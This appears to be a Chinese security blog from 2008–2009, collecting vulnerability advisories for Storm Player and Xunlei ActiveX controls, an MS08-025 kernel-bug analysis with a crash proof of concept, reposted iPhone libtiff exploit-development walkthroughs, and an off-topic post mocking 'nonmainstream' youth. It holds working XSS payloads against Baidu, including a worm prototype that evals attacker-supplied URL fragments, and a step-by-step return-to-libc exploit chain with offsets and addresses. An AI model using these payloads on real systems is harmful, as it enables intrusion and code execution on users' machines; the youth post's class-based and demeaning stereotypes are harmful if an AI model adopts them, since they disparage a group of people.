F14r3

暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞

361055186@qq.com(F14r3) — Fri, 15 May 2009 14:04:39 GMT

S01utiOn:
在厂商没有推出相应的补丁之前，
建议通过注册表对相应的CLSID:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05设置Killbit或者将以下文本保存为.REG文件并导入:Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05}]“Compatibility Flags”=dword:00000400

Dt3a1ls:
clsid:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05
C:\Program Files\StormII\Config.dll
Sub SetAttributeValue (
ByVal lpQueryStr As String ,
ByVal bstrAttributeName As String ,
ByVal lpValueStr As String
)
当参数lpQueryStr是一个超长字符串时，发生栈溢出，利用堆填充技术，攻击者可以很轻松的利用此漏洞执行任意代码

An4lyz3:

非主流十六个特点

361055186@qq.com(F14r3) — Thu, 03 Jul 2008 06:16:53 GMT

　1:脚穿仿匡威款式的无牌鞋或者假匡威
　　　　　　　　
　2:身穿无款式无质量无品牌只有个性的五彩衣服。
　　　　　　　　
　3:绝对热爱网络，从开始的挂QQ热追逐到踩空间热，QQ名字和QQ空间一定搞得非常花哨。
　　　　　　　　
　4:05年她们喜欢叫“D调的华丽”
　　　　　　　　
　5:06年她们喜欢诸如这些符号:的名字: ˙.& .o.灬他们感觉这有飘逸感
　　　　　　　　
　6:07年她们喜欢叫侽孓，女子，什么贱男子，贱女子，骚男子，骚女子，伤男子，伤女子，某男字，某女字，此男子XXX，此女子XXX，他们就喜欢这种安妮宝贝笔锋下的网名。
　　　　　　　　
　7:她们喜欢照相，她们却不懂摄像专业，只会拿着手机摄像头和视频斜上方45°角照自己。
　　　　　　　　
　8:她们照相喜欢用嘟着嘴巴，如果自己本来就肥，嘟起来显得更肥那就岷嘴！把眼睛使劲地睁大掩盖自己的脸丑。如果实在睁不大，买隐形眼镜，如果自己还是很丑，只有用PS加两个红腮在脸上，这样就占了脸大半空间，再丑都看起来可爱
　　　　　　　　
　9:以上是装可爱型，一般是非主流女人的最爱，下面是装B型，多半是男人的最爱。她们是这样的：把脸转过去用侧脸来掩盖自己的脸丑，镜头从上面下面左面右面背面……反正就是不从正面打过来。造成自己一种空虚，寂寞的美，旁边多半还有字，什么“我的寂寞，与你无关”什么“这男子伤透了心“什么“给你的爱其实一直都在，只是你不知道而已”当然肯定是用繁体和符号错综复杂的摆放这些字。
　　　　　　　　
　10:她们学习简直就不可能好。家庭肯定也不怎么好，因为好背景的家庭绝对不会调教出所谓FZL的孩子，好的家庭背景的人家，品位绝对不会如此低俗，既然她们学习不好，家庭不好，所以她们将来估计都没有出息，可以说他们一生的风光也就是在13-19岁，过了19岁她们基本都明白自己的无知，同样是人生的短暂风光，这个时间却比泰国人妖还短。可悲的是泰国人妖收入比她们丰厚多了，更可悲的是泰国人妖是靠自己赚钱来让自己风光，而她们还是靠父母的钱。
　　　　　　　　
　11:她们99%玩劲舞团
　　　　　　　　
　 12：她们喜欢听歌，劲舞团里面的歌是她们的最爱，什么？周杰伦？SHE？潘纬伯？他们觉得老啦！他们喜欢杨丞琳！喜欢台湾和韩国那些不出名靠着综艺节目推销自己唱片的三流歌手！他们一般以为自己听几首劲舞团里的韩文歌就是懂音乐懂品位，就比那些听周杰伦的高尚了，其实你要问他们谁是Mariah Carey，什么是格莱美奖他们都不知道。
　　　　　　　　
　13:她们喜欢在异性面前装嫩，同性面前装老
　　　　　　　　
　14:她们当然非常喜欢装B，但是他们一般都喜欢在网络里用各种方式骂别人装B。
　　　　　　　　
　15:极度热爱QQ空间，并以QQ为基点，以劲舞团为中心，以互联网为平台，迅速腐蚀中国文化
　　　　　　　　
　16:她们的QQ个人签名换得非常频繁，而不管怎么换，她们的个人签名一般都喜欢先打了无数的空格，才开始打自己的话，这样能有一种飘逸美

非主流图片值得借鉴的优点
1、色彩饱和，张力强，视觉冲击力很好
2、P图手法创新，大胆，往往制造出意想不到的效果
3、强调图片要包含着某种情绪，使摄影作品本身的意义得以延伸
4、多种元素的混搭对平面设计也有很好的借鉴作用
5、鼓励人们从很细小的地方发现事物的美感，非主流图片往往赋予一截水管、几只笔、篮球框、破砖墙、几颗杂草以我们想象不到的美感，这对人们观察生活也是种很好的启发
6、字体的排版往往是弥补和打破画面构图形式的利器，效果强烈醒目。

非主流图片需要注意的缺点
1、模式化，这主要是由其圈子内人的审美观确定的，女生喜欢浓妆瞪眼鼓腮装嫩，男生喜欢奇装异服逆光扮深沉，做作的姿态使图片丧失个性，缺乏深度
2、内容颓废低俗，色情暴力，一方面由于图片作者的个人品味，另一方面非主流图片本身常用的手法也常常有意无意地制造出这种氛围，比如LOMO，正片负冲等手法能制造出一些很昏暗的气氛，给人颓废的感觉
3、一些图片的文案的装腔作势，无病呻吟，文不对题，使用火星文、脑残体过度，都会破坏整体的美感．

　　给各位盲目追风的朋友们提个醒，我了解到的非主流是这样的：
　　１.他们是普普通通的人，很正常，很大众．
　　２.他们分的清虚幻与现实，他们是生活在现实社会的．
　　３.他们不会过分的扭曲自己,来给人一种新鲜,有个性,有味道的视觉美观,而不是让人觉得不舒服.
　　４.他们也会打扮得新潮,会复古,会夸张,但要更会注意搭配.
　　５.他们不会与朋克在一起斯混，更不是色情暴力分子．
　　６.他们懂的自尊自爱．
　　７.他们也很爱美，喜欢shopping，但是他们不会视钱如纸，肆意的挥霍，他们知道什么是属于自己的追求．
　　８.他们懂的什么是生活但又不懂的什么是生活.
　　９.他们喜欢打扮，另类的原因不是为了出名，显示自己．因为那才是非主流，要出名为什么不去当主流？

百度首页两个XSS点一个Worm原型

361055186@qq.com(F14r3) — Sun, 29 Jun 2008 12:00:56 GMT

http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert('xss'));
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert('xss'));
Run Once：http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#alert%28%29

迅雷ActiveX控件远程代码执行漏洞

361055186@qq.com(F14r3) — Sat, 14 Jun 2008 05:33:06 GMT

Summary:

迅雷是一款在中国非常流行的基于P2SP技术的下载软件。更多详细信息请参考：

http://www.xunlei.com

在迅雷5的一个ActiveX控件中存在一个远程代码执行漏洞，远程攻击者可利用此漏洞在被攻击者系统上以当前浏览器权限执行任意代码，进而可安装木马以及间谍程序。

Affected Software Versions:

迅雷5(Version of "DapCtrl*.dll" <= 1.5.578.28)

Details:

漏洞存在于由ActiveX控件"DapCtrl*.dll"导出的"Put()"函数中，相关信息如下：

InprocServer32: C:\Documents and Settings\All Users\Application Data\Thunder Network\KanKan\DapCtrl1.5.578.28.483.dll
ClassID : ACACC6EB-1FBA-4E13-A729-53AEB2DF54F8

[id(0x00000002)]
long Put([in] BSTR name, [in] VARIANT value);

如果把第一个参数name设置成某些特殊的object对象，将会导致可被利用的IE内存破坏，经过精心构造的多个破坏将导致IE运行到一个固定的地址，这个地址可利用IE中的javascript heap spray技术覆盖到，从而可稳定执行任意代码。

Solution:

厂商已在最新版本中修复了此漏洞，厂商公告可在如下地址找到：

http://safe.xunlei.com/announce/xl08040501.html

Windows 内核漏洞 ms08025 分析

361055186@qq.com(F14r3) — Tue, 15 Apr 2008 10:16:57 GMT

Windows 内核漏洞 ms08025 分析Author: Polymorphours
Email: Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date: 2008-04-10

经内部讨论后决定公布分析成果。

4月8号microsoft再次发布了一个系统内核的补丁(KB941693),
微软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密
报告的漏洞。成功利用此漏洞的本地攻击者可以完全控制受影响的
系统。攻击者可随后安装程序；查看、更改或删除数据；或者创建
新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、
Windows Vista 和 Windows Server 2008 所有受支持版本的重要安全
更新。此安全更新通过修改 Windows 内核验证从用户模式传递过来的
输入的方式来解决此漏洞。

从这个介绍中我们看到这个漏洞影响非常广，从2000到2008。为了
能一睹这个漏洞的细节，我分析了ms08-025的补丁，发现该漏洞存在于
win32k.sys 模块中。在这个补丁中修补了win32k.sys中的多个地方，其
中出问题的地方非常有趣，是因为溢出寄存器来绕过 ProbeForWrite
函数对用户层传来的指针的检查，下面我们就从 NtUserfnOUTSTRING
函数中的问题来展开我们的分析(我分析的平台是winxp sp2)

.text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)
.text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near
.text:BF86FB04 ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6E p
.text:BF86FB04 ; NtUserMessageCall(x,x,x,x,x,x,x)+61 p
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)-E p
.text:BF86FB04 ; xxxSendMessageToClient(x,x,x,x,x,x,x)+6D p
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)-4B p
.text:BF86FB04 ; xxxWrapCallWindowProc(x,x,x,x,x)+60 p ...
.text:BF86FB04
.text:BF86FB04 var_24 = dword ptr -24h
.text:BF86FB04 var_20 = dword ptr -20h
.text:BF86FB04 UserBuffer = dword ptr -1Ch
.text:BF86FB04 ms_exc = CPPEH_RECORD ptr -18h
.text:BF86FB04 arg_0 = dword ptr 8
.text:BF86FB04 arg_4 = dword ptr 0Ch
.text:BF86FB04 arg_8 = dword ptr 10h
.text:BF86FB04 Address = dword ptr 14h
.text:BF86FB04 arg_10 = dword ptr 18h
.text:BF86FB04 arg_14 = dword ptr 1Ch
.text:BF86FB04 arg_18 = dword ptr 20h
.text:BF86FB04
.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES
.text:BF86FB04
.text:BF86FB04 push 14h
.text:BF86FB06 push offset unk_BF98D250
.text:BF86FB0B call __SEH_prolog
.text:BF86FB0B
.text:BF86FB10 xor edx, edx
.text:BF86FB12 mov [ebp+ms_exc.disabled], edx
.text:BF86FB15 mov eax, [ebp+var_20]
.text:BF86FB18 mov ecx, 7FFFFFFFh
.text:BF86FB1D and eax, ecx
.text:BF86FB1F mov esi, [ebp+arg_18]
.text:BF86FB22 shl esi, 1Fh
.text:BF86FB25 or eax, esi
.text:BF86FB27 mov [ebp+var_20], eax
.text:BF86FB2A mov esi, eax
.text:BF86FB2C xor esi, [ebp+arg_8] -> esi = 缓冲区长度
.text:BF86FB2F and esi, ecx
.text:BF86FB31 xor eax, esi
.text:BF86FB33 mov [ebp+var_20], eax
.text:BF86FB36 cmp [ebp+arg_18], edx -> 如果是 ansi 方式就直接进行检查，否则需要计算unicode的大小
.text:BF86FB39 jnz short loc_BF86FB47
.text:BF86FB39
.text:BF86FB3B lea esi, [eax+eax] <- 注意这里，问题就在这里，此时 eax = unicode字符串的长度，
<- 当 eax = 0x80000000 的时候 eax + eax = 0x100000000，32位的寄存器
<- 被溢出了，esi = 0
.text:BF86FB3E xor esi, eax
.text:BF86FB40 and esi, ecx
.text:BF86FB42 xor eax, esi
.text:BF86FB44 mov [ebp+var_20], eax -> 保存unicode占用的空间大小
.text:BF86FB44
.text:BF86FB47
.text:BF86FB47 loc_BF86FB47: ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35 j
.text:BF86FB47 mov [ebp+var_24], edx
.text:BF86FB4A mov esi, [ebp+Address]
.text:BF86FB4D mov [ebp+UserBuffer], esi
.text:BF86FB50 xor ebx, ebx
.text:BF86FB52 inc ebx
.text:BF86FB53 push ebx ; Alignment
.text:BF86FB54 and eax, ecx
.text:BF86FB56 push eax ; Length <- 由于 eax = 0，所以ProbeForWrite被绕过
.text:BF86FB57 push esi ; Address
.text:BF86FB58 call ds:ProbeForWrite(x,x,x)

bf80a1b0 e96ef4ffff jmp win32k!xxxRealDefWindowProc+0x1235 (bf809623)
bf80a1b5 d1e8 shr eax,1
bf80a1b7 894510 mov [ebp+0x10],eax
bf80a1ba ebf1 jmp win32k!xxxRealDefWindowProc+0x190 (bf80a1ad)
bf80a1bc 8b4514 mov eax,[ebp+0x14]
bf80a1bf f6400780 test byte ptr [eax+0x7],0x80
bf80a1c3 8b4008 mov eax,[eax+0x8]
bf80a1c6 7408 jz win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)
bf80a1c8 c60000 mov byte ptr [eax],0x0
bf80a1cb e951f4ffff jmp win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d0 668910 mov [eax],dx <- 在这里，对前面传入的指针进行了2个字节的写操作，写入的数据为0
bf80a1d3 e949f4ffff jmp win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d8 6a00 push 0x0
bf80a1da 6a02 push 0x2
bf80a1dc ff7638 push dword ptr [esi+0x38]
bf80a1df e8d1690200 call win32k!BuildHwndList (bf830bb5)
bf80a1e4 8bf8 mov edi,eax
bf80a1e6 85ff test edi,edi
bf80a1e8 0f8433f4ffff je win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1ee 8d7710 lea esi,[edi+0x10]

那么怎么触发这个漏洞呢，我又分析了 user32.dll 和 win32k!NtUserMessageCall，
发现触发这个漏洞很简单，只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了，
下面是poc代码(注，改代码运行后由于在内核写了未映射的内存，会直接蓝屏，要改成可
用的exploit，可以参考我以前的exploit)

#include
#include

int main(int argc,char *argv[])
{
DWORD dwHookAddress = 0x80000000;

printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/04/10\n" );

SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
return 0;
}

(echo)Cracking the iPhone (part 2.1)

361055186@qq.com(F14r3) — Tue, 08 Apr 2008 10:01:54 GMT

Cracking the iPhone (part 2.1)
In part two of "Cracking the iPhone", the final result was a working exploit for the libtiff vulnerability. This exploit depended on four key addresses to work properly. The first address was the stack pointer where our string was stored. The stack pointer is static across the same version of the application, but does change between major versions. Due to this address change, a different stack address had to be used for MobileMail versus MobileSafari, and version 1.02 had a different address than 1.1.1. The second address was the location of a writable and executable page on the heap. The original address chosen by our exploit didn't work on all applications. The third and fourth addresses referred to two locations inside the libSystem.dylib library. These addresses did not change between versions or applications.

We can do better. In a perfect world, we can find a sequence of instructions, already in memory, at a static location, that copies a usable heap address into r0 (memcpy dst), the stack pointer into r1 (memcpy src), allow us to control r3 (the memcpy length), executes memcpy(), and then allow us to return back to the destination pointer on the heap. A quick grep of the libSystem.dylib disassembly for "mov r1, sp" pulls up quite a few matches. If we use the -A 1 and -B 3 grep flags, we notice the following block of code.

300d562c e2840030 add r0, r4, #0x30
300d5630 e1a0100d mov r1, sp
300d5634 e1a02008 mov r2, r8
300d5638 eb0029c6 bl _memcpy

A miracle! As mentioned in the previous blog post, we control almost all registers between r4 and r11 after the stack overwrite. We can set r4 to our destination pointer (-0x30), r8 to our memcpy length value, and let this function do our work for us. This code calls memcpy() and eventually returns to another address stored on the stack. There is one snag though, a few lines down we hit the following instruction:

300d566c e247d014 sub sp, r7, #0x14

The stack pointer is being overwritten with the value of the r7 register (-0x14). The two lines following are loading register values (and our return address, via pc) from this stack pointer.

300d5670 e8bd0500 ldmia sp!, {r8, r10}
300d5674 e8bd80f0 ldmia sp!, {r4, r5, r6, r7, pc}

Since we are copying our entire string from the stack to the heap, and we want to return back to the heap anyways, we can set r7 to the address of the memcpy() destination pointer and make this heap address our new stack pointer. After reviewing the memory mappings between MobileSafari, MobileMail, and the iTunes Music Store (in 1.1.1), we notice that the memory at 0x00802000 is always valid, writable, and executable within these applications. This address will become our new heap destination pointer.

The new version of this exploit only depends on two specific addresses in the target process. This is a huge improvement over the previous code and has been successfully tested on MobileMail, MobileSafari, and the iTunes Music Store on firmware versions 1.02 and 1.1.1. Two new modules have been committed to the Metasploit Framework development tree. When reading the source to these exploits, it helps if you have watched Charlie: Candy Mountain :-)

(echo)Cracking the iPhone (part 2)

361055186@qq.com(F14r3) — Tue, 08 Apr 2008 10:00:58 GMT

Cracking the iPhone (part 2)
In part one of "Cracking the iPhone", I described the libtiff vulnerability, its impact on iPhone users, and released the first version of my hacked up debugger. In this post, I will walk through the process of actually writing the exploit.

First off, a new version of weasel (hdm-0.02) has been released. This version includes an entirely new disassembly backend, courtesy of libopcodes, and supports thumb-mode instructions. Thumb is a 16-bit instruction mode for ARM processors that is designed to save memory and speed up execution, especially on systems where filling the instruction cache is expensive.The libSystem.dylib (libc equivalent) on the iPhone contains both 32-bit and 16-bit functions. In order to disassemble a function as thumb mode, you will need to add one to the address. For example, if we disassemble the system() function as 32-bit ARM instructions, we get the following garbage:

[$3008b224 weasel] d 0x3002d0a0
0x3002d0a0 af03b5f0 swige 0x0003b5f0
0x3002d0a4 1e06b08d cdpne 0, 0, cr11, cr6, cr13, {4}
0x3002d0a8 483cd109 ldmmida r12!, {r0, r3, r8, r12, lr, pc}

If we add one to 0x3002d0a0, we now get the proper disassembly:

[$3008b224 weasel] d 0x3002d0a1
0x3002d0a0 0000b5f0 push {r4, r5, r6, r7, lr}
0x3002d0a2 0000af03 add r7, sp, #12
0x3002d0a4 0000b08d sub sp, #52

On Mac OS X, many addresses are static within a process. System libraries are loaded at the same location within every process. The stack and heap are also predictable depending on the application state. These static addresses make up for two serious limitations that come into play when writing exploits for the ARM platform. The first issue, and one common to many other RISC processors, is the fact that the stack memory is marked non-executable. Unlike x86, we are not able to execute code on the stack, no matter how predictable the stack address is. The second limitation involves the instruction cache of the ARM processor. On many RISC platforms, including ARM and PowerPC, the memory executed by the processor is cached in a different physical cache than the data. It is possible for an exploit to write data to a location, but when that data is executed, for the previous data to be processed instead. This causes a problem for self-modifying code on the ARM processor. To make things worse, the only way to flush the ARM instruction cache is from kernel-mode, so unless a syscall is exported by the operating system, a workaround is needed.

In the case of the libtiff exploit, we can completely overwrite the stack, resulting in control of the return address. The stack address itself is static, and if this was x86, our exploit would already be done. Since the stack memory is non-executable, we need to look at other options for running code. The most direct option is to store the payload on the heap and then return directly to this heap address. Under MobileSafari, the heap addresses where the TIFF image is loaded change depending on what other sites the user has accessed. The second option is to use a return-to-libc technique. The idea is that since we control the data on the stack, and since many libraries receive their arguments via the stack, we can call any existing library function with almost arbitrary arguments. This can be used to execute a command via system() or make the stack executable by returning to mprotect(). The unlocker exploit released by Niacin and Dre used the return-to-libc technique to chain together multiple library calls in order to gain access to the iPhone's file system.

Starting at the beginning, lets take the original exploit released by Niacin and open it in a hex editor.

Starting at offset 0x84 (132), we see the stack arguments they pass to a system library function. If we look a bit further, to offset 0xFC (252), we see the return address they use to kick off the execution chain (0x3125368c). The first thing we want to do is delete all bytes after offset 0x84 (taking note of how many there were).

$ dd if=expval.tif of=myexploit.tif bs=1 count=132
$ ls -la expval.tif myexploit.tif
-rw-r--r-- 1 hdm users 752 Oct 10 14:46 expval.tif
-rw-r--r-- 1 hdm users 132 Oct 14 23:06 myexploit.tif

Our new file is 620 bytes shorter than the original. We will re-add those 620 bytes, using a specific pattern generated by the pattern_create() function in the Metasploit Framework. This function is accessible through the normal Ruby API (Rex::Text.pattern_create) or by running the script tools/pattern_create.rb included with version 3.0 of the Metasploit Framework.

$ tools/pattern_create.rb 620 | perl -pe 'chomp' >> myexploit.tif
$ ls -la myexploit.tif
-rw-r--r-- 1 hdm users 752 Oct 14 23:15 myexploit.tif

This pattern is great for exploit development, because it allows us to determine exactly what offset into the buffer was used to fill a given register's value. For example, if we access myexploit.tif from the MobileSafari browser (after copying to a web server), the browser will crash and a crashdump will appear in /var/logs/CrashReporter on the iPhone. In the crashdump, the first thing we notice is the exception type and exception codes:

Exception Type: EXC_BAD_ACCESS
Exception Codes: KERN_INVALID_ADDRESS at 0x41306540

The "invalid address" listed here is obviously part of the generated pattern (all alphanumeric, in the form of upper, digit, lower, upper). Further down in the crashdump, we see the values of the different registers:

r0: 0x00000001 r1: 0x00000001 r2: 0x00000000
r3: 0x307aa3f8r4: 0x35644134 r5: 0x41366441
r6: 0x64413764 r7: 0x39644138 r8: 0x31644130
r9: 0x00819a00 r10: 0x41326441 r11: 0x64413364
ip: 0x38514ed8 sp: 0x0055a638 lr: 0x3071e970
pc: 0x41306540 cpsr: 0x20000030 instr: 0x00000000

All of the registers in bold are ones that we control based on the pattern we sent. The critical one here is the program counter (pc). Unlike the x86 platform, ARM allows a program to read and write the program counter (pc) directly. Instead of the clever jump-call-jump routines, we can simply access the pc register to determine where we are in memory. In this case, we see that the value has been set to 0x41306540. Since the iPhone runs the ARM processor in little-endian mode, we can use the tools/pattern_create.rb script included with the Metasploit Framework to determine exactly what offset into the buffer is written into the pc register.

$ tools/pattern_offset.rb 0x41306540 620
nil

This script produced a nil match. This value was not part of the buffer we sent. The reason is that the ARM processor silently drops the lower bits of the pc register. Since all functions on RISC processors must be word aligned (16/32/64), an address with the lowest bit set will be truncated. If we run the pattern_offset.rb script again, this time trying this address plus one, we find a match.

$ tools/pattern_offset.rb 0x41306541 620
120

At this point, we know that offset 120 into our buffer can be used to specify the return address. The next step is to return to something that is actually useful. As mentioned previously, we cannot return directly to the stack, since the stack is marked non-executable. We can use the modified weasel debugger to find our pattern in memory. The first thing we do is start up MobileSafari via the touch screen interface on the iPhone. Now, after logging in via SSH, and installing the weasel (hdm-0.02) binary into /usr/bin/weasel, we can attach to the process.

# ps aux | grep MobileSafari | grep -v grep | awk '{print $2}'
109
# weasel -p 109
[$3008b224 weasel]

Once attached, we hit "c" to continue execution, and then browse to the evil TIFF image. Weasel will catch the exception and drop us back to the prompt.

[$3008b224 weasel] c
Continuing.
Listening for exceptions.
Exceptional event received.
Inferior received exception 1, 2fffefa8.
[$3008b224 weasel]

From the weasel prompt, we use the "f" command to search for the first few bytes of our pattern, starting at address zero.

[$3008b224 weasel] f 0 Aa0A
0055a5bc 41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
00688b9c 41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
0069075e 41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
0084e084 41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
0084e484 41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41
0084f084 41 61 30 41 61 31 41 61 32 41 61 33 41 61 34 41

Now we can use the "r" command to dump the register state for all threads within this process.

[ thread 2 ]
r0: 0x00000001 r1: 0x00000001 r2: 0x00000000 r3: 0x307aa3f8
r4: 0x35644134 r5: 0x41366441 r6: 0x64413764 r7: 0x39644138
r8: 0x31644130 r9: 0x00819a00 r10: 0x41326441 r11: 0x64413364
ip: 0x38514ed8 sp: 0x0055a638 lr: 0x3071e970 pc: 0x41306540

The first thing we notice is that our string is located on the stack at 0x0055a5bc. We know this is the stack because the sp register is set to 0x0055a638, not too far away. If we repeat this process a few times (exit weasel, start MobileSafari, etc), we notice that the heap address where the TIFF file is stored changes, but this stack address is always the same.

We control the return address, we know the location on the stack where our string is stored, and we control quite a few other registers (r4, r5, r6, r7, r8, r9, r19, r11). Since our heap addresses keep changing, we need to find a static address, within a library, that we can return to in order to gain code execution. The way to find these functions is by disassembling the system libraries. Using the arm-apple-darwin-otool utility (included with iphone toolchain), we can disassemble all of libSystem.dylib and save the result in a file.

$ arm-apple-darwin-otool -tV libSystem.dylib > system.txt

Once we have the disassembled version of this library, we can look for interesting functions. If we find a function that looks bogus (such as system()) in the disassembly, it may be in 16-bit thumb mode. In these cases, we can use weasel (weasel /bin/ls) to perform a thumb-mode disassembly on the function, by adding one to the address.

The memcpy() function is a great candidate for this exploit, since we could copy our static stack address to the heap, and then redirect exection back to this heap address to execute our code. The libSystem disassembly includes many calls to memcpy(), but the actual code for this function is not in the output. Using weasel, we first disassemble the address of function that calls memcpy().

# weasel /bin/ls
Read 735 symbols.
Starting process...
Process with PID 118 started...
[$3000d232 weasel] d 30005568
0x30005568 eb0369fa bl 0x300dfd58
0x3000556c e1a01004 mov r1, r4

Now we disassemble the address that this function branches to.

[$3000d232 weasel] d 0x300dfd58
0x300dfd58 e59fc004 ldr r12, [pc, #4]
0x300dfd5c e08fc00c add r12, pc, r12
0x300dfd60 e59cf000 ldr pc, [r12]
0x300dfd64 07f2759c undefined

This is where things get interesting. This assembly is loading the address stored at 0x300dfd64 into the r12 register, then adding the pc register to this value, and then dereferencing a pointer at this value into pc. A zero offset from the pc register actually points eight bytes past the referring instruction (pc+4 = self+8). In this case, we add the address 0x300dfd64 to value at this address (0x07f2759c), resulting in 0x38007300. We now look at this address to find a pointer that hopefully takes us to the real memcpy() function.

[$3000d232 weasel] d 0x38007300
0x38007300 3009a1bc (bogus instructions)

[$3000d232 weasel] d 3009a1bc
0x3009a1bc e3520000 cmp r2, #0 ; 0x0
0x3009a1c0 11500001 cmpne r0, r1
0x3009a1c4 012fff1e bxeq lr

In the assembly above, we see that r2 is compared against zero. If this compare fails, then r0 is compared against r1. If either of these conditions match, this function returns back to the address stored in the link register. In the context of the memcpy() function, this first check is looking for a length value of zero, and the second check is ensuring that the destination address is not the same as the source address. We have found memcpy!

The trouble is, memcpy() looks at registers r0, r1, and r2 for its parameters. We don't control these registers, but we do control the stack. To get around this problem, we will look for another instruction within the system library that loads registers r0-r2 from the stack and still allows us to return to another address. A quick grep of the system.txt we created earlier results in the following matches.

$ egrep -i 'ldmia sp!,.*r0.*pc' system.txt
3009a4e4 e8bd80b1 ldmia sp!, {r0, r4, r5, r7, pc}
300df000 e8bd8001 ldmia sp!, {r0, pc}
300df800 e8bd800f ldmia sp!, {r0, r1, r2, r3, pc}

The instruction at 0x300df800 is perfect. It loads r0-r3 from the stack, as well as pc, allowing us to return to yet another address stored on the stack. We open the TIFF image again in a hex editor, seek to offset 0xFC, and enter the address of this function into the TIFF image, in little endian byte order (00 df 0d 30). We start up MobileSafari, attach to the process from weasel, enter "c" to continue, and access the evil TIFF file again. Weasel catches exception, leaving us with the following register state.

[ thread 2 ]
r0: 0x65413165 r1: 0x33654132 r2: 0x41346541 r3: 0x65413565
r4: 0x35644134 r5: 0x41366441 r6: 0x64413764 r7: 0x39644138
r8: 0x31644130 r9: 0x00817a00 r10: 0x41326441 r11: 0x64413364
ip: 0x38514ed8 sp: 0x0055a64c lr: 0x3071e970 pc: 0x37654134

We now have control of registers r0-r8, r10-r11, and pc. A little bit of legwork with pattern_offset.rb tells us that our new return address is at offset 0x110, r0 is 0x100, r1 is 0x104, and r2 is 0x108. To abuse memcpy(), we set r0 to be our destination address (free heap space), r1 to be our source address (the static stack address), and r2 to be length of our code. The "v" command can be used from inside weasel to dump all address mappings within the process. This speeds up the discovery of unused heap space.

[$3008b224 weasel] v
0x00001000 - 0x0006a000 (0x00069000 bytes)
0x0006b000 - 0x0006c000 (0x00001000 bytes)
0x0006d000 - 0x00200000 (0x00193000 bytes)
0x00201000 - 0x00459000 (0x00258000 bytes)

After poking around with the "p" command, the address 0x0006b400 seems like a good choice for free heap space. It is writable, executable, and unlikely to change between versions of Safari or system libraries. To summarize, we will place 0x0006b400 into r0, 0x0055a5bc into r1, 620 into r2, and 0x3009a1bc (memcpy) into pc. Once again, we patch up the TIFF file, open MobileSafari, attach to the process with weasel, and enter the "c" command to continue. When we browse to the evil TIFF file, weasel catches the exception, leaving us with the following.

[ thread 2 ]
r0: 0x0006b400 r1: 0x0008ba14 r2: 0x40000000 r3: 0x7041396f
r4: 0x35644134 r5: 0x41366441 r6: 0x64413764 r7: 0x39644138
r8: 0x31644130 r9: 0x00819a00 r10: 0x41326441 r11: 0x64413364
ip: 0x70413370 sp: 0x0055a64c lr: 0x3071e970 pc: 0x3071e97c

The process crashed, so lets look at the code that pc points to.

[$3008b224 weasel] d 0x3071e97c
0x3071e97c e5960000 ldr r0, [r6]

The process is attempting to dereference a value from r6, which is controlled by us. This value is stored at offset 0xF4 in our buffer (discovered by pattern_offset.rb). We will patch this offset with a readable address, in this case the address at the end of our destination buffer in the heap ( 0x0006b400 + 620 ). Once again, we exit weasel, start MobileSafari, attach with weasel, and continue. We then access our yet-again modified TIFF image. This time, we get a new exception.

[ thread 2 ]
r0: 0x00000000 r1: 0x00000000 r2: 0x0000001d r3: 0x0000000a
r4: 0x66413965 r5: 0x31664130 r6: 0x41326641 r7: 0x66413366
r8: 0x41386541 r9: 0x00819a00 r10: 0x41326441 r11: 0x64413364
ip: 0x00000004 sp: 0x0055a664 lr: 0x3071e98c pc: 0x35664134

We are close to the end. At this point, if we look at 0x0006b400, we see a shiny new copy of the string we stored on the stack. The address at pc corresponds to offset 0x128 in the buffer. We can store our shellcode at offset 0x12C and patch the return value with 0x0006b400 + 0xA4 to return back to it. A quick test, by setting offset 0x12C to 0xffffffff (an invalid instruction), demonstrates that this works. We have successfully exploited the iPhone libtiff vulnerability using a return-to-libc back to memcpy().

[ thread 2 ]
r0: 0x00000000 r1: 0x00000000 r2: 0x0000001d r3: 0x0000000a
r4: 0x66413965 r5: 0x31664130 r6: 0x41326641 r7: 0x66413366
r8: 0x41386541 r9: 0x00819a00 r10: 0x41326441 r11: 0x64413364
ip: 0x00000004 sp: 0x0055a664 lr: 0x3071e98c pc: 0x0006b4a8

[$3008b224 weasel] p 0x0006b4a8
0006b4a8 ff ff ff ff 66 37 41 66 38 41 66 39 41 67 30 41 ....f7Af8Af9Ag0A

